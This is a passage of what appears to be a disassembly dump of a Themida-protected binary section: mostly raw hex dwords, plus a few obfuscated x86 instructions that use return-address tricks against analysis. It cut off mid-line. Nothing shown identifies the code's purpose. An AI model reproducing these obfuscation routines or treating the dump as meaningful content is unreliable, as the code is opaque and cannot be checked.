8B66BEBFh, 68D0FFBh dd 81000000h, 27490DEFh, 0BF666139h, 85C7BF3Dh, 60B1009h dd 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 0D0C35545h, 0A5EF8056h, 8D01F95Bh, 60B0EB5h, 0A81DBD83h dd 0F00060Eh, 4584h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 24CC3B11h, 0D8771464h dd 0CE8h, 5AC35300h, 86DEDAA0h, 0A8CCFFDCh, 0E7816691h dd 0E95FA5C7h, 21h, 3271BD23h, 3050060Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 346AED67h dd 1DB4AC10h, 0BD8B9619h, 60B1505h, 0CDBD0960h, 61060B02h dd 9E9h, 999E7C00h, 0BBFAEB43h, 820F3D8Ch, 6, 328D8D31h dd 0D88B060Bh, 1009BD83h, 0F03060Bh, 42E85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 72DE6E36h, 0DF816657h, 835FB0F1h, 0EA81DBDh, 840F0006h dd 3FBh, 8B19D8Bh, 0B5FF060Bh, 60EA81Dh, 10219D0Bh, 95FF060Bh dd 60B083Dh, 12E9F8h, 38760000h, 3D2C08FFh, 0A296E20Dh dd 40ACBC2Ah, 0B54E4366h, 0A811B58Bh, 8B66060Eh, 106C7FAh dd 66000100h, 96AF9DBBh, 5050FA8Bh, 2820F52h, 60000000h dd 5A310F61h, 810F9658h, 26h, 0FE8h, 0B9EE6D00h, 14B63847h dd 0E3717E69h, 4196037Dh, 0CE9h, 0CF328000h, 0FB95F014h dd 2A0D75DEh, 0B5FF5B7Dh, 60EA81Dh, 33819D8Bh, 95FF060Bh dd 60B0641h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 70C35545h, 0BD89427Dh, 60B0515h, 28B0F50h, 60000000h dd 0B58B5B61h, 60EA811h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 3EC35242h, 0B748616Bh dd 8E86Ah, 380D0000h, 15D4BF5Ch, 5FF855A6h, 121D858Bh dd 0BB66060Bh, 8689F719h, 0C4h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 5C35141h, 78152E57h, 5DD2EEFh dd 8509609Fh, 60B00B9h, 97D8D89h, 8B61060Bh, 0B174D95h dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0B2C35040h, 0BF66B9C9h, 5089CB81h, 0D59D0920h dd 8B060B28h, 0B06E9BDh, 0EE858D06h, 29060EBAh, 0B2AD9BDh dd 0B8868906h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0E8C3C357h, 6, 65A70902h dd 6A5F9076h, 0BCBB6600h, 1DB5FF92h, 80060EA8h, 95FF55DFh dd 60B0F15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 16C35646h, 280A42F3h, 78FCA7Dh, 0BB6650D9h, 34892822h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 11EB8075h, 0A81DB5FFh, 820F060Eh, 6, 2E659D0Bh dd 8166060Bh, 0FF10F8E3h, 0B00F595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0E9707A37h dd 2DE99D23h, 0BD83060Bh, 60B2191h, 64840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0C09EC357h, 19059D29h, 8166060Bh, 96DFE9C7h dd 0C169BB66h, 9605B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0D4C35242h, 0E8CB253Dh, 0Ah, 5382F52Ah dd 967DDCCCh, 0BB664D4Bh, 0FF5B98E6h, 0EA81DB5h, 0DFB70F06h dd 128195FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 424F6EC3h, 0FA9815CEh, 8B6A242Ah dd 0B15F99Dh, 1DB5FF06h, 6A060EA8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8376C351h dd 590AFDB6h, 8B66603Eh, 0C9BD89C7h, 61060B0Ah, 0B8D95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F8396DC3h, 0CE9h, 187D9600h, 0F69DE8A0h dd 0F988298Eh, 0F1BD8362h, 2060B17h, 6F840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 94BF1CC3h, 67B5A9B2h, 0DF814679h, 6903E843h, 2EC5858Bh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0B39D16C3h, 0C63Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 26C35141h, 0B985C747h, 60B06h dd 0E8000000h, 8, 1250E9ACh, 0B60C2ABh, 0E91EB75Bh, 0FFFFF2A5h dd 16219589h, 0C18B060Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0DAC35646h, 0B71C5848h, 0B026C4D8h, 719D89F5h dd 0EB060B1Fh, 0E784F04h, 5C5E905h, 0C2D40000h, 68BF688Bh dd 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h, 79FAC5DFh dd 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C58402h dd 0D5DEDB41h, 5F231E6Dh, 1D6D198Dh, 98E2C394h, 0F4C3D5A4h dd 277D2C90h, 0D92ADB18h, 64B118ECh, 0E134E569h, 0E246CD0h dd 7D8875FFh, 1D5632BAh, 0E1D9C394h, 99EA638Dh, 4E56B7ACh dd 8BFF7781h, 1CC3941Dh, 1D5A2E26h, 0E2DC394h, 683A1082h dd 574BAF2Dh, 0A8001885h, 0BA9E625Fh, 709EF246h, 370E16F7h dd 77139B25h, 0F83C6BF9h, 3DEC6482h, 0C3872FE4h, 443C6BF9h dd 0C7B61A7Eh, 4D3C80BFh, 0D4850934h, 0CD01F5C0h, 971DA8C8h dd 6BF96B1Fh, 0A286FC3Ch, 234BD597h, 3C6BF9A7h, 15E2DF26h dd 24A1032Dh, 459EA9FFh, 9E625FA8h, 6BF93756h, 806DFF3Ch dd 0EA8467Bh, 59EB75FFh, 6BF9B1D5h, 4CC363Ch, 3C6BF940h dd 0EB55F3C7h, 3240D542h, 9E6Fh, 710FD00h, 0DE261CCAh dd 2D186DD5h, 0BD016559h, 0D63230AFh, 0D933B28Ah, 0C825A72Fh dd 63E1C394h, 0EC506DB2h, 0F8DCEB3Dh, 0D359544Eh, 0C8592D41h dd 412EC394h, 58210538h, 65D7714Ch, 3241C4C4h, 1EDh, 50BD0B00h dd 4D817548h, 0B55BAAA3h, 47A33A01h, 0D6BA9E1Fh, 3B211067h dd 6482BFCAh, 0DEE53DECh, 0BF92E10Ch, 271E62CBh, 0ED1B7F53h dd 803F2D65h, 0F99CA43h, 0EA846C2h, 7D8875FFh, 5CABA24Ch dd 0A588FFB6h, 0B6AAF24Bh, 0E42179A4h, 94270440h, 53B78BC3h dd 0C0D532B5h, 0BD966EF5h, 80BDC233h, 941D0440h, 99B78BC3h dd 76A76CB4h, 0B0D41C21h, 37C3941Dh, 262A34C3h, 0E827898Ah dd 24F966F4h, 4931B03Bh, 0A291E950h, 0CADD8C84h, 0A128156Ah dd 0B0947857h, 0F40EE85Ch, 350810F9h, 4E3DA22Eh, 0A68C5E7Ah dd 8408454Eh, 4BC26C40h, 0CEBF033Eh, 90F478C3h, 17C3947Fh dd 0C67BCF23h, 39D3D2h, 29324155h, 9Bh, 0D6DC1C43h, 8FAD9F0h dd 2EE196CFh, 23CDCF9Eh, 6EDADE3Dh, 675B2F26h, 0C3CEBF03h dd 46533A8Eh, 0CDD6870Bh, 0C0FF09F0h, 8F1E147Ch, 0C9993F3h dd 0B1A29DE7h, 8D714C54h, 1A6AC6DCh, 1D3551D5h, 40BAC394h dd 0D5A4986Ch, 2C90F4C3h, 867A8B29h, 3240F357h, 0D7B33B45h dd 58C39417h, 633DC462h, 0DB000000h, 754850BDh, 172E72DBh dd 0E70F99A3h, 0C3941DE3h, 1DF01E64h, 0B12E3C0Bh, 0A8717773h dd 0D931DF0Ch, 8B119CC4h, 493D041Ah, 191F6B83h, 0AA90C394h dd 6FB598B6h, 0DE758350h, 0DE16FAD7h, 0C3941DAFh, 1BEFE62Eh dd 0E66A67B2h, 1DB4D054h, 0C73BC394h, 0DCAE3F79h, 0A55F6E24h dd 3240F084h, 1ADh, 0D3DE4B00h, 56A30AFEh, 2E6A977Bh, 162B769Fh dd 700B91CDh, 0FC7742EAh, 82F8BD9Eh, 22A6CE58h, 0A53A60C0h dd 0EE5FB35Dh, 5A4BA8A5h, 58887C49h, 3A60C02Ah, 23C8C51Fh dd 8F78FBD6h, 6DC5DA7Ah, 45C92D18h, 0F0592D01h, 7826AAA7h dd 0F825AF3Eh, 0D62A9EA3h, 60C0D538h, 1EC53914h, 0FE146392h dd 204F8D5Dh, 0E76B4F9Dh, 729B85A3h, 5F2C35A2h, 135h, 211EBDB9h dd 4B77B336h, 207C40EEh, 3C5DD11Bh, 0DCBD9E42h, 92AEDA52h dd 0D9213A61h, 2A7FD02Fh, 0E6573B1Fh, 0D1EC359Dh, 2E35296Dh dd 3599B4C1h, 90ADF627h, 0CF3EE82Ch, 523B8FBAh, 0D7860A47h dd 1401F5C4h, 837D119Ch, 8A9F0481h, 3B40ADBFh, 0FD0FE806h dd 41350810h, 0D079E30Dh, 0F92C367Fh, 48h, 770C6F07h, 1D5541E5h dd 0E0DAC394h, 1DB0D41Ch, 88A2C394h, 1656257Dh, 77813DEDh dd 0C3B7BF58h, 0E408D236h, 0C3947BB0h, 74D82BDAh, 17311520h dd 0D4B03438h, 5BC3947Bh, 21D00367h, 91h, 8FC6CE3Fh, 3329C73Bh dd 0E4760D6Fh, 9F052140h, 0FF8FAEBDh, 1CB7B5AFh, 0EC7EC226h dd 2CDAF901h, 7AF9D421h, 9F4D788Dh, 0A658EE20h, 729C9C45h dd 9409569Eh, 0D0003A60h, 0EEDB2CD5h, 0C8532975h, 0B7FB8A22h dd 0F8744470h, 70751074h, 4FA39730h, 340112FBh, 0CEDFD540h dd 0ED7F0498h, 0D434224Eh, 0CE02F6C3h, 2504C631h, 0BCCD610Bh dd 314E6014h, 4D39AD3Fh, 0C22E4018h, 181C68F8h, 74932E40h dd 61C5BDE7h, 0BB44B8DBh, 0B331E4A3h, 6DF6EA9Ah, 4B50BD97h dd 0C7958276h, 4BDAEDA3h, 6B33DD31h, 811FC11h, 0C50D4135h dd 0C3940781h, 0A3412146h, 3483A27Ch, 8B7F425Bh, 0ED7F53B7h dd 84B20879h dd 0C9BD85BDh, 5AAF1760h, 370575B4h, 0AD81FC52h, 5281E5D9h dd 0E5D427D6h, 88BFF77h, 261C3A64h, 50F00508h, 0A2160A47h dd 79E46D82h, 0B2336939h, 0D60D384Dh, 6DD1EC39h, 0EB5F66BCh dd 52BB4A4Eh, 54E67441h, 0A526A2CAh, 51A93545h, 45A5F591h dd 0E6007A35h, 4C97E00Dh, 45A5ACD8h, 0F0042335h, 0C83ED4AEh dd 996D41A5h, 326h, 9C844E00h, 9FDD4DEh, 967A57A0h, 12E6D127h dd 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h dd 7BCFFA0Dh, 0E28952CFh, 4C281h, 0EA830000h, 24148704h dd 2434895Ch, 2FF268h, 24148900h, 1F6368h, 240C8900h, 16976851h dd 0C8B1110h, 4C48324h, 88C18149h, 8148DC5Dh, 0FC6B14F1h dd 59CA895Fh, 1CFD68h, 24248900h, 4240481h, 59000000h dd 4EC81h, 14890000h, 8418F24h, 592434FFh, 4C481h, 148B0000h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FB5A6EE9h dd 75CC1AFFh, 0B80FA743h, 6102449h, 0E0FFC503h, 1700BC92h dd 9A99837h, 1A80CFB1h, 12FE6FC3h, 5244D270h, 7B5BB138h dd 6DC4C829h, 20CC1602h, 652D4EB1h, 3C658C20h, 4CB720B9h dd 3EE035F1h, 0A8A7A16h, 47C41AA1h, 7A798AF6h, 559BE1BAh dd 69EB2700h, 45D2457Ch, 28A9858Dh, 0BB66060Bh, 0E9907F1Dh dd 0Fh, 3174E8B1h, 0CBF4431h, 0D930FB37h, 5071E2F6h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 6A50B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 93C35141h, 2DE9B589h, 810F060Bh, 6, 30DBD8Bh, 6A060Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h dd 9D2798D8h, 317CD12Bh, 0B0EB5BDh, 3840F06h, 0F000000h dd 858DFFB7h, 610270Fh, 23F78166h, 5C08332h, 89BD8Bh, 0BF50060Bh dd 767E8381h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0D954C355h, 0F5C6842h dd 981686C8h, 1D19D09h, 6A060Bh, 0E94BCB80h, 0Eh, 95788B1Bh dd 0A6685C33h, 66D2FF42h, 6AB64Dh, 0C690BB66h, 9E9h, 28002600h dd 0BA99B7B3h, 95FFF8D9h, 60B2F21h, 18B0Fh, 81F80000h dd 610FCFh, 0B08D8D16h, 6A060EA7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 1C10C355h dd 896F880Fh, 0B0689BDh, 359D0B06h, 0FF060B13h, 0FDBD8BD1h dd 83060B03h, 0B0B19BDh, 850F0106h, 7Fh, 0D858960h, 66060B06h dd 97EBE281h, 6A026A61h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0EB65C350h, 0BB669034h dd 6050BAB6h, 0F525060h, 60585A31h, 52506161h, 310F5A50h dd 9061585Ah, 5E9h, 0F1B61F00h, 95FFC295h, 60B0F15h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2CC35343h, 0F5D5BB56h dd 0CFBB59C0h, 0E963E567h, 0DC3h, 0E8h, 0ED815D00h, 6102719h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C5C35343h dd 0BD8BF98Bh, 60B240Dh, 9293858Dh, 8531060Eh, 60B0671h dd 0F98B6690h, 4402BB50h, 0E9904BD2h, 12h, 0C32B5778h dd 2942A032h, 5CDD6FD4h, 0AC372752h, 0FF6479ADh, 35h, 79958900h dd 64060B1Fh, 2589h, 0EB810000h, 75D5EEDFh, 66D85FFh, 6A060Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 573ABDC3h, 91BD8B7Dh, 6A060B24h, 759D8BFFh, 0FF060B2Eh dd 0B12A9B5h, 95FFF506h, 60B2411h, 109E9h, 198D8900h, 0B0060B06h dd 1953100h, 0E6060B1Bh, 0B70F5170h, 71E45FDBh, 0D9BAD781h dd 613C299Dh, 0E4830Fh, 0BD8B0000h, 60B0809h, 0BAC8B60Fh dd 6, 15159D8Bh, 0EE9060Bh, 27000000h, 0A37C97C4h, 778E1C41h dd 0E4293222h, 1C18BB5h, 0B1829BDh, 4E8C106h, 14D9D8Bh dd 0F766060Bh, 8AC82BE2h, 8AD18BF8h, 9CE9DCh, 85090000h dd 60B1671h, 158DBD8Bh, 858B060Bh, 4947554Ch, 21199D8Bh dd 9E9060Bh, 53000000h, 0A573854Eh, 9FBE3693h, 0E907C083h dd 13h, 0ACCBB840h, 48F295E1h, 0E8F01160h, 855EA9CDh, 8377E4C3h dd 0B50900C0h, 60B1169h, 2B61B589h, 0D03B060Bh, 13830Fh dd 9D8B0000h, 60B0AD1h, 39E9h, 0A597BB00h, 8B665D29h, 0FF8D8BDAh dd 8AFFFFFFh, 1E183FEh, 20840Fh, 9D290000h, 60B010Dh, 0FFFFA583h dd 89FEFFFFh, 47554C95h, 0BD0B5049h, 60B0DEDh, 0E95Fh dd 0B58D0000h, 60F9EEEh, 1609BD89h, 6A060Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9C35141h, 0AA3CE9B0h dd 8DBD8BC5h, 0FF060B09h, 0B32DD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0EC51BDF6h dd 0E9AFAAEEh, 0Fh, 0FCFB8351h, 44C48616h, 30C064A0h, 8BC464D4h dd 0E48B9F9h, 83F90000h, 810FFCE1h, 6, 29FD9D89h, 6AFC060Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 6997C353h, 7F887F0Fh, 8956FF0Bh, 0B31958Dh dd 0C02B5F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 7AC35747h, 5204378Fh, 0C8B7D22Bh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0D554A1C3h, 1B91BD8Bh, 9D8B060Bh dd 60B17B9h, 5E8h, 8260C00h, 13E9713Dh, 0 dd 5FD45960h, 18EFF2B2h, 4D765882h, 2A41A9C6h, 0D5FC8D9h dd 88h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 0EAC35141h, 899509h, 958B060Bh, 60B174Dh, 5D9D0360h dd 0FC060B03h, 198D8B61h, 6A060B01h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B010C357h dd 0E4F51CB6h, 506CF2B1h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0B5E3A968h, 292D9D09h, 6A060Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 21556EC3h, 0E86E5AA9h, 0Dh, 0FF140C4Eh, 56C999F4h, 31297950h dd 11E9ACh, 0C2730000h, 469A69D8h, 0B46FF5C9h, 0FAACEE16h dd 5F4952D6h, 13E9h, 0B8932700h, 0A1F0C024h, 87602E08h dd 7CBA3A0Eh, 79723574h, 29BDBD83h, 0F00060Bh, 4A84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 972FFD8Dh, 0B8h, 85BD8B00h, 0F060B2Eh, 688h, 719D2B00h dd 8D060B18h, 0B4DD78Dh, 8DBD8B06h, 0FF060B03h, 699D8BE1h dd 83060B06h, 0B1009BDh, 840F0006h, 499h, 3860Fh, 8B660000h dd 9BD83FAh, 1060B10h, 49E840Fh, 8B660000h, 9BD83DAh, 3060B10h dd 458860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 60E99BC3h, 0F9D8B70Fh, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 91CEC351h, 1AC393E0h, 0B3D0AF09h, 4E1806Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2CC35747h dd 7192B104h, 7D8D894Fh, 60060B02h, 8531F28Bh, 60B31B5h dd 0FC90A61h, 1B484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 708B33CAh, 8BFB8B66h dd 0B1FADBDh, 7D858B06h, 8B060B31h, 0B2729BDh, 5810F06h dd 66000000h, 0AC28E781h, 6ED8533h, 6A060Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73CAE9C3h dd 57A2A5E0h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 8A0F5A78h, 3 dd 90FA8B66h, 0CE860h, 0FA990000h, 0E907DF31h, 0CF0F3969h dd 8E0F2F0Bh, 0 ; --------------------------------------------------------------------------- pop ecx call near ptr loc_58ED63+4 test ds:83AE9C60h, ebx scasb pop eax xchg eax, edx loc_58ED63: ; CODE XREF: Themida_:0058ED55p sar byte ptr [ebx-4099101Ch], cl sub ecx, [edi+5Ah] popa push eax mov edi, 53F8A983h nop push 0 push ebp call sub_58ED7F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED7F proc near ; CODE XREF: Themida_:0058ED77p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_58ED7F endp ; --------------------------------------------------------------------------- db 0DFh dd 6CAAAD4Fh, 0E9ACAECFh, 0Ah, 2BD86438h, 8C52AB02h, 6AF20Ah dd 68DEBF0Fh, 0AB3FB40Eh, 0F18B6660h, 24048161h, 54DF4FF1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 41C35242h dd 6522F0EBh, 7A5E04C3h, 6820Fh, 9D890000h, 60B32B9h, 3D195FFh dd 0FE9060Bh, 71000000h, 0D2EC7567h, 0A6FE6645h, 5603BD08h dd 8589B4DAh, 60EA81Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 1EC35040h, 0A485B9CCh, 1633BAEh, 0B012DB5h dd 1D5E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0F43875C3h, 4A2CDF90h, 0E8EAA00Ah dd 0Bh, 6C7ECAA2h, 0C17B0C43h, 0F5152A55h, 15858B5Fh, 89060EA8h dd 0B15B59Dh, 61B58906h, 0C7060B11h, 1800h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 3D1FADA2h, 2DC5FFBBh, 19B58B0Eh, 53060EA8h, 1681BD8Bh dd 665F060Bh, 8B45BFBFh, 0B06E185h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0E19036DDh dd 17B3BB66h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 1CAF05C3h, 6F6FF67Ch, 6048294Eh dd 5918501h, 0B531060Bh, 60B02C9h, 7D858B61h, 0F060B31h dd 4689DBBFh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0FA8CA1Ch, 96D9BF0Fh, 0C970BE60h dd 0FCBA1D91h, 6106880Ch, 6A9650h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 1B990C3h, 177DB589h dd 0B5FF060Bh, 60EA815h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 11C35747h, 2E68461Eh, 0F8EA379h, 0A89h dd 52506000h, 585A310Fh, 8161EE8Ah, 8AD12404h, 6E9717Bh dd 0F3000000h, 0E2099767h, 1D858D3Ah, 6A060EA8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 223C355h, 5E850h, 0CAF90000h, 8A601E63h, 4895FF9h, 0AD958924h dd 0FF060B28h, 0B03D195h, 0C19D8B06h, 61060B21h, 2F98D89h dd 85C7060Bh, 60B1009h, 3, 2A159D8Bh, 0BD83060Bh, 60EA81Dh dd 5B840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 8C90C353h, 0C9280640h dd 10E9D0D7h, 52000000h, 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h dd 0E969D01Dh, 39h, 1D01BB66h, 0CE8h, 927C400h, 747780D2h dd 46F2F346h, 28D0FD1h, 60000000h, 30505F61h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 4D9589C0h dd 6A060B1Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 3F5EC355h, 6B59D89h, 0BD83060Bh dd 60B1009h, 59850F03h, 23000004h, 0B0B259Dh, 1DBD8306h dd 60EA8h, 446840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 4948A1C3h, 0A81DB5FFh dd 78B3060Eh, 0BBD8509h, 95FF060Bh, 60B083Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DBC35343h, 0BC7BF963h dd 6870F8Fh, 1000000h, 0B202D9Dh, 11B58B06h, 0B3060EA8h dd 106C7EFh, 96000100h, 0CE860h, 14C70000h, 0DEC14248h dd 271E80E3h, 0B966D633h, 505A068Dh, 5BFE8B66h, 5E95061h dd 68000000h, 0C956C01Ah, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E8682E40h dd 10h, 9BEFCB69h, 8C0CC17h, 41517807h, 7E70D902h, 3D5BD29h dd 0FF5F060Bh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FFB26Ch dd 60B0641h, 0BE8h, 89DAFD00h, 0FC4E98B9h, 2362517Bh, 5FD88B66h dd 0ED4DBB66h, 0A811B58Bh, 6A060Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9B2384C3h dd 0A435DE3Bh, 0BB66319Eh, 0FE8B9696h, 121D858Bh, 6A060Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 51686DC3h, 86892AD1h, 0C4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0C0C35747h, 71B0E1E1h, 0BD5F059Dh dd 4D958B40h, 6A060B17h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E993C352h, 0Bh, 0DE181BA8h dd 8ACBAEF4h, 8320BA96h, 800F04C2h, 6, 15A1BD8Bh, 9E8060Bh dd 2000000h, 0C8DC49AEh, 901AD84Dh, 2311BD23h, 895F060Bh dd 0B70F2050h, 0EE858DD9h, 0B3060EBAh, 0B886896Ch, 66000000h dd 13BDF381h, 9DBB006Ah, 0FF54AB6Dh, 0EA81DB5h, 0DE806h dd 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 5B9F3790h, 0F1595FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B5891EC3h, 60B0095h, 0D49CBB50h, 34897F79h dd 0B5FFFC24h, 60EA81Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0CEC35343h, 607EA68Ch, 9FB96660h, 0DDBA618Eh dd 61697135h, 0F595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0C6DAB8C3h, 0BF0F5738h dd 0BD835FFEh, 60B2191h, 53840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 2A8CC351h, 9E866h, 6FD30000h, 0FD216162h, 809B1F1Bh dd 965B3ED7h, 0EFBB6652h, 0E8505F21h, 0Dh, 2418313Dh, 0AEB67220h dd 0F2C95D75h, 86BCBB54h, 965F3692h, 0B5FFF98Bh, 60EA81Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h dd 9D89B8D4h, 60B2B39h, 128195FFh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4D5EE1C3h dd 0E960F89Eh, 0Eh, 0F5806051h, 0DEA50460h, 0A9035EFFh dd 0B5FF35E4h, 60EA81Dh, 0FFD98B66h, 0B0B8D95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 57EB9E7Eh, 0BD83F544h, 60B17F1h, 6E840F02h, 81000000h dd 316433D3h, 0C5858B63h, 6A060B2Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 385BC351h dd 8E0AA0EAh, 29D58D89h, 8060060Bh, 8B661FEDh, 0C661CEh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 958EEA26h, 60432FE9h, 3800Fh, 8B660000h dd 0D6B70FCFh, 0B985C761h, 60B06h, 0F000000h, 1789h, 12E900h dd 3B4D0000h, 0B760FE18h, 4BC4ABBCh, 95D2DC6Bh, 0D79705A5h dd 0FFF2E6E9h, 66C18BFFh, 0E80DC1BFh, 7, 0CE7F25A9h, 66178BE8h dd 5B8B3FBAh, 29036DBFh dd 29C38158h, 0E9000060h, 0Bh, 0DC9593B2h, 10402654h, 68B25458h dd 17DFh, 0A1858960h, 61060B2Ah, 49BD3159h, 0FF060B0Fh dd 6840F33h, 89000000h, 0B32A985h, 0F38B5806h, 71B8F081h dd 0B58B5FD9h, 60B29B9h, 3A5BC081h, 8A0F7E0Dh, 6, 1779BD8Bh dd 0C081060Bh, 